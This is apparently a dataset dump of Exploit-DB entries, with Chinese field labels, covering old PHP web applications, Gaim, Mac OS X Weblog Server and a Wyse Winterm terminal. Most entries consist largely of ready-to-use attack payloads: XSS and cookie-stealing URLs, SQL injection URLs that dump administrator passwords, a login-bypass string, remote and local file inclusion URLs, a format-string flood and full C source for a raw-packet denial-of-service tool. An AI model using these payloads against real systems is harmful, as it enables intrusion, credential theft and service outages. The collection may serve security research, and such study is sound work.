QLWD/code_shield huggingface dataset:
标题: PHPFreeNews 1.40 - 'searchresults.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26161 CVE: 2005-2638 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/14590/info
 
PHPFreeNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/phpfn/SearchResults.php?Match='><script>alert(XSS);</script>&NewsMode=1&SearchNews=Search&CatID=0
http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID='><script>alert(XSS);</script>
http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode="><script>alert(XSS);</script>&SearchNews=Search&CatID=0
http://www.example.com/phpfn/SearchResults.php?Match="><script>alert(XSS);</script>&NewsMode=1&SearchNews=Search&CatID=0 URL: https://www.exploit-db.com/exploits/26161
标题: PHPTB Topic Board 2.0 - 'dev_o.php?absolutepath' Remote File Inclusion EDB-ID: 26164 CVE: 2005-2633 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/14592/info
  
PHPTB is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/classes/dev_o.php?absolutepath=http://www.example.com/ URL: https://www.exploit-db.com/exploits/26164
标题: PHPTB Topic Board 2.0 - 'admin_o.php?absolutepath' Remote File Inclusion EDB-ID: 26162 CVE: 2005-2633 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/14592/info

PHPTB is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/classes/admin_o.php?absolutepath=http://www.example.com/ URL: https://www.exploit-db.com/exploits/26162
标题: PHPFreeNews 1.40 - 'NewsCategoryForm.php?NewsMode' Cross-Site Scripting EDB-ID: 26160 CVE: 2005-2638 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/14590/info

PHPFreeNews is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://www.example.com/phpfn/NewsCategoryForm.php?NewsMode="><script>alert(XSS);</script>&CatID=0 URL: https://www.exploit-db.com/exploits/26160
标题: PHPTB Topic Board 2.0 - 'tech_o.php?absolutepath' Remote File Inclusion EDB-ID: 26166 CVE: 2005-2633 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/14592/info
    
PHPTB is prone to multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
    
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/classes/tech_o.php?absolutepath=http://www.example.com/ URL: https://www.exploit-db.com/exploits/26166
标题: PHPFreeNews 1.40 - 'searchresults.php' Multiple SQL Injections EDB-ID: 26159 CVE: 2005-2637 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-17 漏洞利用脚本: source: https://www.securityfocus.com/bid/14589/info

PHPFreeNews is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/phpfn/SearchResults.php?Match='&NewsMode=1&SearchNews=Search&CatID=0
http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID='
http://www.example.com/phpfn/SearchResults.php?Match=%27&NewsMode=1&SearchNews=Search&CatID=0
http://www.example.com/phpfn/SearchResults.php?Match=1&NewsMode=1&SearchNews=Search&CatID=%27 URL: https://www.exploit-db.com/exploits/26159
标题: MyBulletinBoard (MyBB) RC4 - 'polloptions' SQL Injection EDB-ID: 26149 CVE: 2005-2580 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/14553/info
  
MyBulletinBoard is prone to multiple SQL injection vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
  
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
  
Reports indicate an attacker can exploit at least one of these vulnerabilities to gain administrative access to the affected application. 

http://www.example.com/polls.php?action=newpoll&tid=1&polloptions='[SQL INJECTION] URL: https://www.exploit-db.com/exploits/26149
标题: MyBulletinBoard (MyBB) RC4 - 'member.php' Multiple SQL Injections EDB-ID: 26148 CVE: 2005-2580 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/14553/info
 
MyBulletinBoard is prone to multiple SQL injection vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
 
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
 
Reports indicate an attacker can exploit at least one of these vulnerabilities to gain administrative access to the affected application. 

http://www.example.com/member.php?action=login : username='[SQL INJECTION]
http://www.example.com/member.php?action='[SQL Injection] URL: https://www.exploit-db.com/exploits/26148
标题: My Image Gallery 1.4.1 - 'index.php' Multiple Cross-Site Scripting Vulnerabilities EDB-ID: 26153 CVE: 2005-2603 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-16 漏洞利用脚本: source: https://www.securityfocus.com/bid/14570/info

My Image Gallery is prone to multiple cross-site scripting vulnerabilities due to improper sanitization of user-supplied input.

An attacker can exploit these vulnerabilities to inject html and script code into the Web browser of an unsuspecting victim. The attacker may then steal cookie-based authentication credentials. Other attacks are also possible. 

http://www.example.com/[path]/index.php?currDir=./<script>alert(document.cookie)</script>
http://www.example.com/index.php?currDir=./test&pageType=image&image=<script>alert(document.cookie)</script> URL: https://www.exploit-db.com/exploits/26153
标题: Apple Mac OSX 10.4 Weblog Server - Cross-Site Scripting EDB-ID: 26152 CVE: 2005-2523 类型: REMOTE 平台: OSX 发布日期: 2005-08-15 漏洞利用脚本: source: https://www.securityfocus.com/bid/14569/info

Apple Mac OS X Weblog Server is prone to cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

This issue was originally described in BID 14567 Apple Mac OS X Multiple Vulnerabilities. It is now being assigned its own BID. 

input malicious script into author and comment sections in
the comment option on the weblog.
eg:<SCRIPT>alert(document.cookie);</SCRIPT> [cookie theft]
eg:<iframe src="http://somesite.com"></iframe> [redirect]

http://www.example.com:16080/weblog/[bloguser]/?permalink=[blogentry]&comment=y&page=comments&category=%2F&author=[script]&authorEmail=&authorURL=&commentText=[script]&submit=Submit+Comment URL: https://www.exploit-db.com/exploits/26152
标题: ezUpload 2.2 - 'form.php?path' Remote File Inclusion EDB-ID: 26143 CVE: 2005-2616 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/14534/info
   
ezUpload is affected by multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
   
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/ezupload/form.php?path=http://www.example.com/phpshell?& URL: https://www.exploit-db.com/exploits/26143
标题: MyBulletinBoard (MyBB) RC4 - 'action' SQL Injection EDB-ID: 26150 CVE: 2005-2580 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/14553/info
   
MyBulletinBoard is prone to multiple SQL injection vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.
   
Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.
   
Reports indicate an attacker can exploit at least one of these vulnerabilities to gain administrative access to the affected application. 

http://www.example.com/search.php?action='[SQL Injection] URL: https://www.exploit-db.com/exploits/26150
标题: PHPTB Topic Board 2.0 - 'index.php?mid' SQL Injection EDB-ID: 26144 CVE: 2005-2587 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/14535/info

PHPTB is prone to multiple SQL injection vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

The consequences of this attack may vary depending on the type of queries that can be influenced, and the implementation of the database. 

http://www.example.com/PHPTB/index.php?sid=cc3de2fc8c2b357b6a6d46ea8aa92a32&act=profile&mid=-99%20UNION%20SELECT%20null,password,password,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null,null%20FROM%20tb_members%20WHERE%20user_id=1
http://www.example.com/PHPTB/index.php?sid=a284c075e8b0073935ba7290ca0dade8&act=newpm&mid=-99%20UNION%20SELECT%20password%20FROM%20tb_members%20WHERE%20user_id=1 URL: https://www.exploit-db.com/exploits/26144
标题: ezUpload 2.2 - 'customize.php?path' Remote File Inclusion EDB-ID: 26142 CVE: 2005-2616 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/14534/info
  
ezUpload is affected by multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/ezupload/customize.php?path=http://www.example.com/phpshell?& URL: https://www.exploit-db.com/exploits/26142
标题: MyBulletinBoard (MyBB) RC4 - 'Username' SQL Injection EDB-ID: 26147 CVE: 2005-2580 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-12 漏洞利用脚本: source: https://www.securityfocus.com/bid/14553/info

MyBulletinBoard is prone to multiple SQL injection vulnerability. These issues are due to a failure in the application to properly sanitize user-supplied input before using it in SQL queries.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

Reports indicate an attacker can exploit at least one of these vulnerabilities to gain administrative access to the affected application. 

The following proof of concept demonstrates the vulnerability in admin/index.php:
Username: ' or 1=1 /*
Password: blank URL: https://www.exploit-db.com/exploits/26147
标题: Gaim AIM/ICQ Protocols - Multiple Vulnerabilities EDB-ID: 26139 CVE: 2005-2103 类型: DOS 平台: WINDOWS 发布日期: 2005-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/14531/info

Gaim is prone to multiple vulnerabilities affecting the AIM and ICQ protocols. These issues may allow remote attackers to trigger a buffer overflow or a denial-of-service condition.

All versions of Gaim 1.x are considered vulnerable at the moment. 

%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n
%n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n %n URL: https://www.exploit-db.com/exploits/26139
标题: ezUpload 2.2 - 'initialize.php?path' Remote File Inclusion EDB-ID: 26141 CVE: 2005-2616 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/14534/info
 
ezUpload is affected by multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/ezupload/initialize.php?path=http://www.example.com/phpshell?& URL: https://www.exploit-db.com/exploits/26141
标题: ezUpload 2.2 - 'index.php?path' Remote File Inclusion EDB-ID: 26140 CVE: 2005-2616 类型: WEBAPPS 平台: PHP 发布日期: 2005-08-10 漏洞利用脚本: source: https://www.securityfocus.com/bid/14534/info

ezUpload is affected by multiple remote file include vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage any of these issues to execute arbitrary server-side script code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. 

http://www.example.com/ezupload/index.php?path=http://www.example.com/phpshell?& URL: https://www.exploit-db.com/exploits/26140
标题: Wyse Winterm 1125SE 4.2/4.4 - Remote Denial of Service EDB-ID: 26145 CVE: 2005-2577 类型: DOS 平台: MULTIPLE 发布日期: 2005-08-10 漏洞利用脚本: // source: https://www.securityfocus.com/bid/14536/info

Winterm 1125SE is affected by a remote denial of service vulnerability. This issue is due to the application failing to handle exceptional conditions in a proper manner.

The problem occurs when processing packets with malformed IP headers. A successful attack causes the application to crash, denying service to legitimate users. 

/*
 * 3com superstack II RAS 1500 remote Denial of Service
 *
 * Piotr Chytla <pch@isec.pl>
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
 * IT IS PROVIDED "AS IS" AND WITHOUT ANY WARRANTY
 *
 * (c) 2003 Copyright by iSEC Security Research
 */

#include <stdio.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <libnet.h>
#define OPT_LEN 4
void usage()
{
  printf("Args: \n");
  printf("-s [source address]\n");
  printf("-d [destination address]\n");
}

int main(int argc,char *argv[])
{
 char a;
 int sock,r;
 u_long src;
 u_long dst;
 char pktbuf[IP_MAXPACKET];
 char payload[]="ABCDEFGHIJKLMNOPRST";
 u_char options[4];
 struct ipoption ipopt;
 bzero(options,OPT_LEN);
 while((a=getopt(argc,argv,"d:s:h?"))!=EOF)
 {
     switch(a) {
         case 'h' : { usage(); exit(1); }
         case 's' : { src=libnet_name_resolve(optarg,0); break;}
         case 'd' : { dst=libnet_name_resolve(optarg,0); break;}
        }
 }
 sock = libnet_open_raw_sock(IPPROTO_RAW);
 if (sock<0)
 {
 perror("socket");
 exit(1);
 }

 libnet_build_ip(strlen(payload),0,0x1337,0,255,0xaa,src,dst,payload,strlen(payload),pktbuf);
  memcpy(ipopt.ipopt_list, options, OPT_LEN);
  *(ipopt.ipopt_list)     = 0xe4;
  *(ipopt.ipopt_list+1)   = 0;
  *(ipopt.ipopt_list+1)   = 0;
  *(ipopt.ipopt_list+1)   = 0;
  r=libnet_insert_ipo(&ipopt,OPT_LEN,pktbuf);
  if (r <0)
   {
        libnet_close_raw_sock(sock);
        printf("Error ip options insertion failed\n");
        exit(1);
   }
  r=libnet_write_ip(sock,pktbuf,LIBNET_IP_H+OPT_LEN+strlen(payload));
  if (r<0)
  {
   libnet_close_raw_sock(sock);
   printf("Error write_ip \n");
   exit(1);
  }
 libnet_close_raw_sock(sock);
 return 0;
} URL: https://www.exploit-db.com/exploits/26145
标题: Simple PHP Agenda 2.2.8 - 'edit_event.php?eventid' SQL Injection EDB-ID: 26136 CVE: 2013-3961 类型: WEBAPPS 平台: PHP 发布日期: 2013-06-11 漏洞利用脚本: =============================================
WEBERA ALERT ADVISORY 02
- Discovered by: Anthony Dubuissez
- Severity: high
- CVE Request – 05/06/2013
- CVE Assign – 06/06/2013
- CVE Number – CVE-2013-3961
- Vendor notification – 06/06/2013
- Vendor reply – 10/06/2013
- Public disclosure – 11/06/2013
=============================================

I. VULNERABILITY ————————-
iSQL in php-agenda <= 2.2.8

II. BACKGROUND ————————-
Simple Php Agenda is « a simple agenda tool written in PHP with MySQL backend. An agenda tool accessible everywere 
there’s internet ».

III. DESCRIPTION ————————-
Php-Agenda 2.2.8 and lower versions contain a flaw that allows an authenticated user iSQL attack. This flaw exists 
because the application does not properly sanitize parameters (only rely on mysql_real_escape_string() funcion ) in the 
edit_event.php file. This allows an attacker to create a specially crafted URL to dump multiple informations of the 
databases content.
A valid account is required.

IV. PROOF OF CONCEPT ————————-
dumping login and password of the first admin
iSQL: 
http://server/edit_event.php?eventid=1%20union%20select%201,2,3,username,password,6,7,8,9%20from%20users%20where%20userlevel=9%20limit%200,1

V. BUSINESS IMPACT ————————-
iSQL: We can get sensitive information with the vulnerabilities that can escalate to a complete administrator account.

VI. SYSTEMS AFFECTED ————————-
Php-Agenda 2.2.8 and lower versions

VII. SOLUTION ————————-
sanitize correctly the GET/POST parameter. (don’t rely on the mysql_real_escape_string() functions only…)

VIII. REFERENCES ————————-
http://www.webera.fr/advisory-02-php-agenda-isql-exploit/

IX. CREDITS ————————- 
the vulnerability has been discovered by Anthony Dubuissez (anthony (dot) dubuissez (at) webera (dot) fr).

X. DISCLOSURE TIMELINE ————————-
June 05, 2013: Vulnerability acquired by Webera
June 06, 2013: Sent to vendor.
June 10, 2013: Reply of vendor, vendor release bugfix in version 2.2.9
June 11, 2013: Advisory published and sent to lists.

XI. LEGAL NOTICES ————————-
The information contained within this advisory is supplied « as-is » with no warranties or guarantees of fitness of use 
or otherwise.Webera accepts no responsibility for any damage caused by the use or misuse of this information.

XII. FOLLOW US ————————-
You can follow Webera, news and security advisories at:
On twitter : @erathemass URL: https://www.exploit-db.com/exploits/26136
标题: Weathermap 0.97c - 'mapname' Local File Inclusion EDB-ID: 26125 CVE: 2013-3739 类型: WEBAPPS 平台: PHP 发布日期: 2013-06-11 漏洞利用脚本: =============================================
WEBERA ALERT ADVISORY 01

- Discovered by: Anthony Dubuissez
- Severity: high
- CVE Request - 03/06/2013
- CVE Assign - 03/06/2013
- CVE Number - CVE-2013-3739
- Vendor notification - 03/06/2013
- Vendor reply - No reply
- Public disclosure - 10/06/2013

=============================================

I. VULNERABILITY -------------------------
Local File Inclusion in Weathermap <= 0.97C

II. BACKGROUND -------------------------

Network Weathermap is a network visualisation tool, to take data you already have and show you an overview of your network in map form. Support is built in for RRD, MRTG (RRD and old log-format), and tab-delimited text files. Other sources are via plugins or external scripts.

III. DESCRIPTION -------------------------
Network Weathermap 0.97C and lower versions contain a flaw that allows a local file inclusion attack. This flaw exists because the application does not properly sanitise the parameter "mapname" in the editor.php file. This allows an attacker to create a specially crafted URL to include any ".config" file on the web server, you can bypass the ".config" restriction filter with a php bug.

the editor.php must be enabled to successfully exploit.

IV. PROOF OF CONCEPT -------------------------
LFI: http://server/editor.php?action=show_config&mapname=../../../../../../../../../etc/apache2/apache2.conf

V. BUSINESS IMPACT -------------------------
LFI: With a php bug we can include any file that the webserver has right to read, including sensitive config files ( php file too, because it's not executed but read with fopen) .

VI. SYSTEMS AFFECTED -------------------------
Network Weathermap 0.97C and lower versions

VII. SOLUTION -------------------------
sanitize correctly the mapname parameter.

TEMP SOLUTION : disable editor.php

VIII. REFERENCES -------------------------
http://www.webera.fr/advisory-01-network-weathermap-local-file-inclusion-exploit

IX. CREDITS ------------------------- 
the vulnerability has been discovered by Anthony Dubuissez (anthony (dot) dubuissez (at) webera (dot) fr).

X. DISCLOSURE TIMELINE -------------------------
June 01, 2013: Vulnerability acquired by Webera
June 03, 2013: Sent to vendor.
June 06, 2013: No reply of vendor, sent second email.
June 10, 2013: No reply of vendor, Advisory published and sent to lists.

XI. LEGAL NOTICES -------------------------
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.Webera accepts no responsibility for any damage caused by the use or misuse of this information.

XII. FOLLOW US -------------------------
You can follow Webera, news and security advisories at:

On twitter : @erathemass URL: https://www.exploit-db.com/exploits/26125